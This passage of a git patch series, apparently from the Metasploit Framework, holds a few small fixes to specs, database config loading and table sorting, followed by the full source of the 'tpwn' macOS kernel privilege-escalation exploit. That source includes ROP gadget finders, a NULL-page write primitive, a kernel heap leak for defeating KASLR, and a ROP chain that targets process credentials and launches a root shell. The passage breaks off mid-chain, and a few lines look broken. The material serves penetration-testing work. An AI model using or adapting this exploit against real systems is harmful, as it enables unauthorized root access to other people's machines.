'nop', + reference_name: 'x64/simple' + ) + end + + it 'returns shellcode of the correct size' do + final = payload_generator.prepend_nops(shellcode) + puts "in spec, x86_64 final: #{final.inspect}" + expect(final.length).to eq(nops+shellcode.length) + end + + it 'puts the nops in front of the original shellcode' do + final = payload_generator.prepend_nops(shellcode) + expect(final[nops,nops+shellcode.length]).to eq shellcode + end + + end end end From 0bb01c8b6bb0e2c37df26dfe46ccc6c70b07de91 Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Mon, 17 Aug 2015 14:40:15 -0500 Subject: [PATCH 094/119] Fix nil bug with an empty database.yml Use an empty hash instead of false. --- lib/msf/ui/console/driver.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/ui/console/driver.rb b/lib/msf/ui/console/driver.rb index 3148e680d3..b067392452 100644 --- a/lib/msf/ui/console/driver.rb +++ b/lib/msf/ui/console/driver.rb @@ -169,7 +169,7 @@ class Driver < Msf::Ui::Driver unless configuration_pathname.nil? if configuration_pathname.readable? - dbinfo = YAML.load_file(configuration_pathname) + dbinfo = YAML.load_file(configuration_pathname) || {} dbenv = opts['DatabaseEnv'] || Rails.env db = dbinfo[dbenv] else From 02e3e9af163f11c277f1a301ed69c304484a4251 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 17 Aug 2015 14:52:26 -0500 Subject: [PATCH 095/119] Allow to compare ipv4 vs ipv6 hosts --- lib/rex/ui/text/table.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/lib/rex/ui/text/table.rb b/lib/rex/ui/text/table.rb index 87b660d6c6..52da87c5f4 100644 --- a/lib/rex/ui/text/table.rb +++ b/lib/rex/ui/text/table.rb @@ -203,6 +203,10 @@ class Table cmp = Rex::Socket::addr_atoi(a[index]) <=> Rex::Socket::addr_atoi(b[index]) elsif a[index] =~ /^[0-9]+$/ and b[index] =~ /^[0-9]+$/ cmp = a[index].to_i <=> b[index].to_i + elsif a[index].kind_of?(IPAddr) && a[index].kind_of?(IPAddr) && a[index].ipv6? && b[index].ipv4? + cmp = 1 + elsif a[index].kind_of?(IPAddr) && b[index].kind_of?(IPAddr) && a[index].ipv4? && b[index].ipv6? + cmp = -1 else cmp = a[index] <=> b[index] # assumes otherwise comparable. end From 09c888bc49356802f920ff09da47247e84701733 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 17 Aug 2015 15:27:26 -0500 Subject: [PATCH 096/119] Fix minor things --- spec/lib/msf/core/payload_generator_spec.rb | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/spec/lib/msf/core/payload_generator_spec.rb b/spec/lib/msf/core/payload_generator_spec.rb index 7759d8c831..7dd44048bc 100644 --- a/spec/lib/msf/core/payload_generator_spec.rb +++ b/spec/lib/msf/core/payload_generator_spec.rb @@ -363,7 +363,7 @@ describe Msf::PayloadGenerator do end context 'when nops are set to more than 0' do - let(:badchars) { "" } + let(:badchars) { '' } let(:nops) { 20 } context 'when payload is x86' do @@ -408,16 +408,14 @@ describe Msf::PayloadGenerator do it 'returns shellcode of the correct size' do final = payload_generator.prepend_nops(shellcode) - puts "in spec, x86_64 final: #{final.inspect}" - expect(final.length).to eq(nops+shellcode.length) + expect(final.length).to eq(nops + shellcode.length) end it 'puts the nops in front of the original shellcode' do final = payload_generator.prepend_nops(shellcode) - expect(final[nops,nops+shellcode.length]).to eq shellcode + expect(final[nops, nops + shellcode.length]).to eq shellcode end - end end end From 0a7ac2d75848a4603abdde5e859cd471f91993e7 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 17 Aug 2015 15:28:48 -0500 Subject: [PATCH 097/119] Delete another debug puts --- spec/lib/msf/core/payload_generator_spec.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/spec/lib/msf/core/payload_generator_spec.rb b/spec/lib/msf/core/payload_generator_spec.rb index 7dd44048bc..7a707e41af 100644 --- a/spec/lib/msf/core/payload_generator_spec.rb +++ b/spec/lib/msf/core/payload_generator_spec.rb @@ -376,7 +376,6 @@ describe Msf::PayloadGenerator do it 'returns shellcode of the correct size' do final = payload_generator.prepend_nops(shellcode) - puts "in spec, x86 final: #{final.inspect}" expect(final.length).to eq 24 end From efc980074c1fc0142237ac53a78c455f469c5930 Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Mon, 17 Aug 2015 16:36:36 -0500 Subject: [PATCH 098/119] Add tpwn exploit files --- data/exploits/tpwn/Makefile | 3 + data/exploits/tpwn/import.h | 34 ++++ data/exploits/tpwn/lsym.h | 47 +++++ data/exploits/tpwn/lsym.m | 159 +++++++++++++++++ data/exploits/tpwn/lsym_gadgets.h | 69 +++++++ data/exploits/tpwn/main.m | 286 ++++++++++++++++++++++++++++++ data/exploits/tpwn/tpwn | Bin 0 -> 31484 bytes 7 files changed, 598 insertions(+) create mode 100644 data/exploits/tpwn/Makefile create mode 100644 data/exploits/tpwn/import.h create mode 100644 data/exploits/tpwn/lsym.h create mode 100644 data/exploits/tpwn/lsym.m create mode 100644 data/exploits/tpwn/lsym_gadgets.h create mode 100644 data/exploits/tpwn/main.m create mode 100755 data/exploits/tpwn/tpwn diff --git a/data/exploits/tpwn/Makefile b/data/exploits/tpwn/Makefile new file mode 100644 index 0000000000..dfecee38e4 --- /dev/null +++ b/data/exploits/tpwn/Makefile @@ -0,0 +1,3 @@ +all: + gcc *.m -o tpwn -framework IOKit -framework Foundation -m32 -Wl,-pagezero_size,0 -O3 + strip tpwn diff --git a/data/exploits/tpwn/import.h b/data/exploits/tpwn/import.h new file mode 100644 index 0000000000..cf0a0354f4 --- /dev/null +++ b/data/exploits/tpwn/import.h @@ -0,0 +1,34 @@ +#ifndef pwn_import_h +#define pwn_import_h + + +#include <stdio.h> +#include <stdlib.h> +#include <string.h> +#include <stdint.h> + +#include <mach/mach.h> +#include <mach/mach_vm.h> + +#include <IOKit/IOKitLib.h> +#include <CoreFoundation/CoreFoundation.h> +#include <IOKit/IOKitLib.h> +#include <dlfcn.h> +#include <string.h> +#include <mach/mach_types.h> +#include <mach-o/loader.h> +#include <sys/types.h> +#include <mach-o/nlist.h> +#include <stdio.h> +#include <stdlib.h> +#include <stdint.h> +#include <sys/mman.h> +#include <sys/types.h> +#include <sys/stat.h> +#include <fcntl.h> + + +#include "lsym.h" +#include "lsym_gadgets.h" + +#endif diff --git a/data/exploits/tpwn/lsym.h b/data/exploits/tpwn/lsym.h new file mode 100644 index 0000000000..eaa1d417d9 --- /dev/null +++ b/data/exploits/tpwn/lsym.h @@ -0,0 +1,47 @@ +#ifndef __pwn__lsym__ +#define __pwn__lsym__ + +#include <stdio.h> +#include "import.h" + +#define JUNK_VALUE 0x1337133713371337 + + +typedef struct kernel_fake_stack { + uint64_t __cnt; + uint64_t __padding[0x4999]; + uint64_t __rop_chain[0x5000]; +} kernel_fake_stack_t; + +#define LSYM_PAYLOAD_VTABLE 1 + +struct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname); +struct section_64 *find_section_64(struct segment_command_64 *seg, const char *name); +struct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd); + +typedef struct lsym_map { + void* map; + const char* path; + size_t sz; +} lsym_map_t; + +typedef enum { + LSYM_DO_NOT_REBASE = (1 << 0) +} lsym_gadget_flags; + +typedef uint64_t lsym_map_pointer_t; +typedef uint64_t lsym_kern_pointer_t; +typedef uint64_t lsym_slidden_kern_pointer_t; +typedef uint64_t lsym_offset_t; + +lsym_kern_pointer_t kext_pointer(const char* identifier); +lsym_map_t *lsym_map_file(const char *path); +lsym_kern_pointer_t lsym_find_symbol(lsym_map_t *mapping, const char *name); +lsym_kern_pointer_t lsym_find_gadget(lsym_map_t *mapping, const char *bytes, const uint32_t size, const lsym_gadget_flags flags); +lsym_kern_pointer_t lsym_kernel_base(lsym_map_t *mapping); +lsym_slidden_kern_pointer_t lsym_slide_pointer(lsym_kern_pointer_t pointer); +lsym_offset_t lsym_vm_addrperm(); + +typedef struct kernel_exploit_vector kernel_exploit_vector_t; + +#endif /* defined(__pwn__lsym__) */ diff --git a/data/exploits/tpwn/lsym.m b/data/exploits/tpwn/lsym.m new file mode 100644 index 0000000000..5ac22b512b --- /dev/null +++ b/data/exploits/tpwn/lsym.m @@ -0,0 +1,159 @@ +#include "lsym.h" +#import <Foundation/Foundation.h> + +#include <IOKit/IOKitLib.h> + +struct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname); +struct section_64 *find_section_64(struct segment_command_64 *seg, const char *name); +struct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd); +extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef); + + +extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef); +#ifdef FIND_KERNEL_SLIDE +static lsym_offset_t kaslr_slide=0; +static char kaslr_slide_found =0; +#endif + +__attribute__((always_inline)) +lsym_kern_pointer_t kext_pointer(const char* identifier){ + return (lsym_kern_pointer_t)[((NSNumber*)(((__bridge NSDictionary*)OSKextCopyLoadedKextInfo(NULL, NULL))[[NSString stringWithUTF8String:identifier]][@"OSBundleLoadAddress"])) unsignedLongLongValue]; +} + +__attribute__((always_inline)) +lsym_map_t *lsym_map_file(const char *path) { + int fd=open(path, O_RDONLY); +if(fd < 0) return 0; + struct stat sb; + fstat(fd, &sb); + if (sb.st_size < 0x1000) { + return 0; + } + void* map = mmap(NULL, sb.st_size & 0xFFFFFFFF, PROT_READ, MAP_SHARED, fd, 0); + lsym_map_t* ret = (lsym_map_t*)malloc(sizeof(lsym_map_t)); + ret->map = map; + ret->path = path; + ret->sz = sb.st_size & 0xFFFFFFFF; + return ret; +} + +__attribute__((always_inline)) +lsym_kern_pointer_t lsym_find_gadget(lsym_map_t *mapping, const char *bytes, const uint32_t size, const lsym_gadget_flags flags) { + lsym_offset_t off=(lsym_offset_t)memmem(mapping->map, mapping->sz, bytes, size); + if (!off) { + puts("[-] Couldn't find a ROP gadget, aborting."); + exit(1); + } + return lsym_slide_pointer(((flags & LSYM_DO_NOT_REBASE) == 0 ? lsym_kernel_base(mapping) : 0)+(off - (lsym_offset_t) mapping->map)); +} + +__attribute__((always_inline)) +lsym_kern_pointer_t lsym_kernel_base(lsym_map_t *mapping) { + struct mach_header_64 *mh = mapping->map; + struct segment_command_64 *text = find_segment_64(mh, SEG_TEXT); + return (lsym_kern_pointer_t)text->vmaddr; +} +__attribute__((always_inline)) +lsym_kern_pointer_t lsym_find_symbol(lsym_map_t *mapping, const char *name) { + struct mach_header_64 *mh = mapping->map; + struct symtab_command *symtab = NULL; + struct segment_command_64 *linkedit = NULL; + /* + * Check header + */ + if (mh->magic != MH_MAGIC_64) { + return (lsym_kern_pointer_t)NULL; + } + + /* + * Find the LINKEDIT and SYMTAB sections + */ + linkedit = find_segment_64(mh, SEG_LINKEDIT); + if (!linkedit) { + return (lsym_kern_pointer_t)NULL; + } + + symtab = (struct symtab_command *)find_load_command(mh, LC_SYMTAB); + if (!symtab) { + return (lsym_kern_pointer_t)NULL; + } + void* symtabp = symtab->stroff + 4 + (char*)mh; + void* symtabz = symtab->stroff + (char*)mh; + void* symendp = symtab->stroff + (char*)mh + symtab->strsize - 0xA; + uint32_t idx = 0; + while (symtabp < symendp) { + if(strcmp(symtabp, name) == 0) goto found; + symtabp += strlen((char*)symtabp) + 1; + idx++; + } + printf("[-] symbol %s not resolved.\n", name); exit(0); + return (lsym_kern_pointer_t)NULL; +found:; + struct nlist_64* nlp = (struct nlist_64*) (((uint32_t)(symtab->symoff)) + (char*)mh); + uint64_t strx = ((char*)symtabp - (char*)symtabz); + unsigned int symp = 0; + while(symp <= (symtab->nsyms)) { + uint32_t strix = *((uint32_t*)nlp); + if(strix == strx) + goto found1; + nlp ++; //sizeof(struct nlist_64); + symp++; + } + printf("[-] symbol not found: %s\n", name); + exit(-1); +found1: + //printf("[+] found symbol %s at 0x%016llx\n", name, nlp->n_value); + return (lsym_kern_pointer_t)nlp->n_value; + +} + +__attribute__((always_inline)) +struct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname) +{ + struct load_command *lc; + struct segment_command_64 *s, *fs = NULL; + lc = (struct load_command *)((uint64_t)mh + sizeof(struct mach_header_64)); + while ((uint64_t)lc < (uint64_t)mh + (uint64_t)mh->sizeofcmds) { + if (lc->cmd == LC_SEGMENT_64) { + s = (struct segment_command_64 *)lc; + if (!strcmp(s->segname, segname)) { + fs = s; + break; + } + } + lc = (struct load_command *)((uint64_t)lc + (uint64_t)lc->cmdsize); + } + return fs; +} + +__attribute__((always_inline)) +struct section_64 *find_section_64(struct segment_command_64 *seg, const char *name) +{ + struct section_64 *sect, *fs = NULL; + uint32_t i = 0; + for (i = 0, sect = (struct section_64 *)((uint64_t)seg + (uint64_t)sizeof(struct segment_command_64)); + i < seg->nsects; + i++, sect = (struct section_64 *)((uint64_t)sect + sizeof(struct section_64))) + { + if (!strcmp(sect->sectname, name)) { + fs = sect; + break; + } + } + return fs; +} + +__attribute__((always_inline)) +struct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd) +{ + struct load_command *lc, *flc; + lc = (struct load_command *)((uint64_t)mh + sizeof(struct mach_header_64)); + while ((uint64_t)lc < (uint64_t)mh + (uint64_t)mh->sizeofcmds) { + if (lc->cmd == cmd) { + flc = (struct load_command *)lc; + break; + } + lc = (struct load_command *)((uint64_t)lc + (uint64_t)lc->cmdsize); + } + return flc; +} diff --git a/data/exploits/tpwn/lsym_gadgets.h b/data/exploits/tpwn/lsym_gadgets.h new file mode 100644 index 0000000000..a6616e4ca5 --- /dev/null +++ b/data/exploits/tpwn/lsym_gadgets.h @@ -0,0 +1,69 @@ +#ifndef ROP_PIVOT_RAX +/* Short verion of lsym_slide_pointer(lsym_find_symbol()) */ + +#define RESOLVE_SYMBOL(map, name) lsym_slide_pointer(lsym_find_symbol(map, name)) + +/* ROP gadgets present in 10.10 */ + +// stack pivot +#define ROP_PIVOT_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x50, 0x01, 0x00, 0x00, 0x5b, 0x41, 0x5c, 0x41, 0x5e, 0x41, 0x5F, 0x5D, 0xC3}), 13, 0) +#define ROP_POP_R14_R15_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x41, 0x5e, 0x41, 0x5F, 0x5D, 0xC3}), 6, 0) +#define ROP_R14_TO_RCX_CALL_pRAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x4C,0x89,0xF1,0xFF,0x10}), 5, 0) +#define ROP_R14_TO_RDI_CALL_pRAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x4C,0x89,0xF7,0xFF,0x10}), 5, 0) + +#define ROP_AND_RCX_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x21,0xc8,0x5d,0xC3}), 5 , 0) +#define ROP_OR_RCX_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x09,0xc8,0x5d,0xC3}), 5 , 0) +#define ROP_RCX_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0xBA, 0x48, 0x89, 0xC1, 0x48, 0x89, 0xC8, 0x5D, 0xC3}), 9 , 0) + +// advanced register control (experimental) - many of these gadget do not require stack pivoting, but allow for register control and register based flow control (which lets us back up registers that our pivot corrupts). +// how the fuck do these gadgets even exist lmao + +#define ROP_RAX_TO_RDI_POP_RBP_JMP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC7, 0x5D, 0xFF, 0xE1}), 6, 0); +#define ROP_RAX_TO_RSI_POP_RBP_JMP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC6, 0x5D, 0xFF, 0xE1}), 6, 0); +#define ROP_RBX_TO_RSI_CALL_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xDE, 0xFF, 0xD1}), 5, 0); // This function does movq rbx, rsi; callq *rcx. so *rcx should point to a pop gadget. +#define ROP_RAX_TO_RCX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC1, 0x48, 0x89, 0xC8, 0x5D, 0xC3}), 8, 0); +#define ROP_CR4_TO_RAX_WRITE_RAX_TO_pRCX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x0F, 0x20, 0xE0, 0x48, 0x89, 0x01, 0x5D, 0xC3}), 8 , 0) +#define ROP_RAX_TO_CR4_WRITE_ESI_TO_60H_RDI_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x0F, 0x22, 0xE0, 0x89, 0x77, 0x60, 0x5D, 0xC3}), 8 , 0) +#define ROP_PUSH_RBP_8H_RDI_TO_RAX_JMP_0H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x55, 0x48, 0x89, 0xE5, 0x48, 0x8B, 0x47, 0x08, 0x5D, 0xFF, 0x20}), 0xB , 0) +#define ROP_RAX_TO_RDI_RCX_TO_RSI_CALL_58H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC7, 0x48, 0x89, 0xCE, 0xFF, 0x50, 0x58}), 9 , 0) +#define ROP_POP_RBX_RBP_JMP_28H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5B, 0x5D, 0xFF, 0x60, 0x28}), 5 , 0) +#define ROP_WRITE_RBX_WHAT_R14_WHERE_POP_ _POP_R14_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x49, 0x89, 0x1E, 0x5B, 0x41, 0x5E, 0x5D, 0xC3}), 8 , 0) +#define ROP_POP_R14_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x41, 0x5E, 0x5D, 0xC3}), 4, 0) +#define ROP_RBX_TO_RSI_CALL_30H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xDE, 0xFF, 0x50, 0x30}), 6, 0) +#define ROP_RDI_TO_RBX_CALL_130H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xFB, 0xFF, 0x90, 0x30, 0x01, 0x00, 0x00}), 9, 0) +#define ROP_RSI_TO_RBX_CALL_178H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xF3, 0xFF, 0x90, 0x78, 0x01, 0x00, 0x00}), 9, 0) +#define ROP_RSI_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xF0, 0x5d, 0xC3}), 5, 0) +#define ROP_INC_48H_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0xff, 0x40, 0x48, 0x5d, 0xC3}), 6, 0) +// register control +#define ROP_POP_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x58, 0xC3}), 2 , 0) +#define ROP_POP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x59, 0xC3}), 2 , 0) +#define ROP_POP_RDX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5A, 0xc3}), 2 , 0) +#define ROP_POP_RBX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5B, 0xc3}), 2 , 0) +#define ROP_POP_RSP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5C, 0xC3}), 2 , 0) +#define ROP_POP_RSP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5C, 0x5d, 0xC3}), 3 , 0) +#define ROP_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5D, 0xc3}), 2 , 0) +#define ROP_POP_RSI(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5E, 0xc3}), 2 , 0) +#define ROP_POP_RDI(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5F, 0xc3}), 2 , 0) +#define ROP_RSI_TO_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x55, 0x48, 0x89, 0xE5, 0x48, 0x89, 0xF0, 0x5D, 0xC3}), 9 , 0) + +// write gadgets +#define ROP_WRITE_RDX_WHAT_RCX_WHERE_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x89,0x11,0x5D,0xC3}), 5 , 0) +#define ROP_WRITE_RAX_WHAT_RDX_WHERE_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x89,0x02,0x5D,0xC3}), 5 , 0) + +// read gadget +#define ROP_READ_RAX_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x8B,0x00,0x5D,0xC3}), 5 , 0) + + +// simple nop. 0x90 is added to avoid 0xC3 matching non-executable kernel contents. + +#define ROP_NULL_OP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x90, 0xC3}), 2, 0); + +// helpers + +#define PUSH_GADGET(stack) stack->__rop_chain[stack->__cnt++] +#define ROP_ARG1(stack, map, value) ROP_POP_RDI(map); PUSH_GADGET(stack) = value; +#define ROP_ARG2(stack, map, value) ROP_POP_RSI(map); PUSH_GADGET(stack) = value; +#define ROP_ARG3(stack, map, value) ROP_POP_RDX(map); PUSH_GADGET(stack) = value; +#define ROP_ARG4(stack, map, value) ROP_POP_RCX(map); PUSH_GADGET(stack) = value; +#define ROP_RAX_TO_ARG1(stack, map) ROP_POP_RCX(map); PUSH_GADGET(stack) = ROP_NULL_OP(map); PUSH_GADGET(stack) = ROP_RAX_TO_RDI_POP_RBP_JMP_RCX(map); PUSH_GADGET(stack) = JUNK_VALUE; +#endif diff --git a/data/exploits/tpwn/main.m b/data/exploits/tpwn/main.m new file mode 100644 index 0000000000..9400395f71 --- /dev/null +++ b/data/exploits/tpwn/main.m @@ -0,0 +1,286 @@ +#include <Foundation/Foundation.h> +static uint64_t kslide=0; +#define ALLOCS 0x100 +#import "import.h" +#import "lsym_gadgets.h" +static mach_port_t servicea = 0; +static mach_port_t servicex = 0; +__attribute__((always_inline)) inline +lsym_slidden_kern_pointer_t lsym_slide_pointer(lsym_kern_pointer_t pointer) { + if (!pointer) return pointer; + return (lsym_slidden_kern_pointer_t) pointer + kslide; +} + +__attribute__((always_inline)) static inline +uint64_t alloc(uint32_t addr, uint32_t sz) { + vm_deallocate(mach_task_self(), (vm_address_t) addr, sz); + vm_allocate(mach_task_self(), (vm_address_t*)&addr, sz, 0); + while(sz--) *(char*)(addr+sz)=0; + return addr; +} +__attribute__((always_inline)) static inline +uint64_t leak_heap_ptr(io_connect_t* co) { + io_connect_t conn = MACH_PORT_NULL; + if(IOServiceOpen(servicea, mach_task_self(), 0, co) != KERN_SUCCESS) { + puts("failed"); + exit(-20); + } + uint64_t scalarO_64=0; + uint32_t outputCount = 1; + IOConnectCallScalarMethod(*co, 2, NULL, 0, &scalarO_64, &outputCount); + if (!scalarO_64) { + puts("failed infoleaking"); + exit(-20); + } + scalarO_64 <<= 8; + scalarO_64 |= 0xffffff0000000000; + return scalarO_64; +} +typedef struct { + mach_msg_header_t header; + mach_msg_body_t body; + mach_msg_ool_descriptor_t desc; + mach_msg_trailer_t trailer; +} oolmsg_t; +static uint16_t off_w = 0; +__attribute__((always_inline)) static inline +void or_everywhere(uint64_t add) { + io_connect_t conn = MACH_PORT_NULL; + IOServiceClose(0); // dyld fails when aslr = 0 & NULL page is mapped, so force this symbol into the plt + IOServiceOpen(0,0,0,0); // dyld fails when aslr = 0 & NULL page is mapped, so force this symbol into the plt + alloc(0, 0x1000); + volatile uint64_t* mp = (uint64_t*) 0; + if(!off_w) { + while ((uint32_t)mp < 0xC00) { + *mp=(uint64_t)0xC00; + mp++; + } + IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn); + IOServiceClose(conn); + char* kp=(char*)0xC00; + while ((uint32_t)kp < 0x1000) { + if (*kp == 0x10) { + break; + } + kp++; + } + if ((uint32_t)kp == 0x1000) { + vm_deallocate(mach_task_self(), 0, 0x1000); + puts("not vulnerable"); + exit(-1); + } + mp=0; + while ((uint32_t)mp < 0xC00) { + *mp=(uint64_t)0xC00 - (uint32_t)(kp-0xC00); + mp++; + } + IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn); + IOServiceClose(conn); + if (*((char*)0xC00)!=0x10) { + vm_deallocate(mach_task_self(), 0, 0x1000); + puts("wrong offset"); + exit(-2); + } + off_w = (uint16_t) kp - 0xc00; + } + mp=0; + while ((uint32_t)mp < 0xC00) { + *mp=(uint64_t)(add - off_w); + mp++; + } + IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn); + vm_deallocate(mach_task_self(), 0, 0x1000); + IOServiceClose(conn); +} +__attribute__((always_inline)) static inline +void send_kern_data(char* vz, size_t svz, mach_port_t* msgp) { + oolmsg_t *msg=calloc(sizeof(oolmsg_t)+0x2000,1); + if(!*msgp){ + mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, msgp); + mach_port_insert_right(mach_task_self(), *msgp, *msgp, MACH_MSG_TYPE_MAKE_SEND); + } + bzero(msg,sizeof(oolmsg_t)); + msg->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); + msg->header.msgh_bits |= MACH_MSGH_BITS_COMPLEX; + msg->header.msgh_remote_port = *msgp; + msg->header.msgh_local_port = MACH_PORT_NULL; + msg->header.msgh_size = sizeof(oolmsg_t); + msg->header.msgh_id = 1; + msg->body.msgh_descriptor_count = 1; + msg->desc.address = (void *)vz; + msg->desc.size = svz; + msg->desc.type = MACH_MSG_OOL_DESCRIPTOR; + mach_msg( (mach_msg_header_t *) msg, MACH_SEND_MSG, sizeof(oolmsg_t), 0, 0, 0, 0 ); + free(msg); +} +__attribute__((always_inline)) static inline +char* read_kern_data(mach_port_t port) { + oolmsg_t *msg=calloc(sizeof(oolmsg_t)+0x2000,1); + bzero(msg,sizeof(oolmsg_t)+0x2000); + mach_msg((mach_msg_header_t *)msg, MACH_RCV_MSG, 0, sizeof(oolmsg_t)+0x2000, (port), 0, MACH_PORT_NULL); + return msg->desc.address; +} +int main(int argc, char** argv, char** envp){ + if (getuid() == 0) { + execve("/bin/sh",((char* []){"/bin/sh",0}), envp); + exit(0); + } + if((int)main < 0x5000) execve(argv[0],argv,envp); + lsym_map_t* mapping_kernel=lsym_map_file("/mach_kernel"); + if (!mapping_kernel || !mapping_kernel->map) { + mapping_kernel=lsym_map_file("/System/Library/Kernels/kernel"); + } + lsym_map_t* mapping_audio=lsym_map_file("/System/Library/Extensions/IOAudioFamily.kext/Contents/MacOS/IOAudioFamily"); + kslide = kext_pointer("com.apple.iokit.IOAudioFamily") + RESOLVE_SYMBOL(mapping_audio, "__ZTV23IOAudioEngineUserClient") + 0x10; + sync(); + kern_return_t err; + io_iterator_t iterator; + IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("IOHDIXController"), &iterator); + servicex = IOIteratorNext(iterator); + IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("IOAudioEngine"), &iterator); + servicea = IOIteratorNext(iterator); + uint64_t c = 0; + or_everywhere((uint64_t)&c); + if (c != 0x10) { + puts("not vulnerable"); + return 2; + } + int ctr=0; +#define DO_TIMES(x) for(ctr=0;ctr<x;ctr++) + struct KernelHeapInfo { + io_connect_t connect; + uint64_t kobject; + mach_port_t port; + } *heap_info = calloc(sizeof(struct KernelHeapInfo),ALLOCS); + char* vz = calloc(1500,1); + +again:; + int maxt = 10; + while (maxt--) { + if (heap_info[maxt+2].connect) { + IOServiceClose(heap_info[maxt+2].connect); + heap_info[maxt+2].connect=0; + } + } + maxt = 10; + while (((heap_info[0].kobject = leak_heap_ptr(&(heap_info[0].connect))) & 0xFFF) == 0xC00) { heap_info[0].connect=0; }; + while ((heap_info[1].kobject = leak_heap_ptr(&(heap_info[1].connect))) ) { + if (heap_info[1].kobject == 1024+heap_info[0].kobject) { + break; + } + if (maxt == 0) { + goto again; + } + maxt--; + heap_info[maxt+2].connect=heap_info[1].connect; + heap_info[1].connect=0; + }; + + if (!heap_info[1].connect || !heap_info[0].connect) { + exit(-3); + } + + IOServiceClose(heap_info[0].connect); // poke hole + + DO_TIMES(ALLOCS) { + send_kern_data(vz, 1024 - 0x58, &(heap_info[ctr].port)); + } + + or_everywhere(heap_info[0].kobject + 16); + or_everywhere(heap_info[0].kobject + 500); + + char found = 0; + DO_TIMES(ALLOCS) { + char* data = read_kern_data(heap_info[ctr].port); + if (!found && memcmp(data,vz,1024 - 0x58)) { + kslide = (*(uint64_t*)((1024-0x58+(char*)data))) - kslide ; + found=1; + } + } + if (!found) { + exit(-3); + } + + printf("leaked kaslr slide, @ 0x%016llx\n", kslide); + + kernel_fake_stack_t* stack = calloc(1,sizeof(kernel_fake_stack_t)); + + PUSH_GADGET(stack) = ROP_ARG1(stack, mapping_kernel, heap_info[1].kobject+0x208); + PUSH_GADGET(stack) = ROP_ARG2(stack, mapping_kernel, sizeof(uint64_t)); + PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_bzero"); + + PUSH_GADGET(stack) = ROP_ARG1(stack, mapping_kernel, heap_info[1].kobject+0x220); + PUSH_GADGET(stack) = ROP_ARG2(stack, mapping_kernel, 1) + PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_bzero"); + + PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_current_proc"); + PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack, mapping_kernel); + PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_proc_ucred"); + 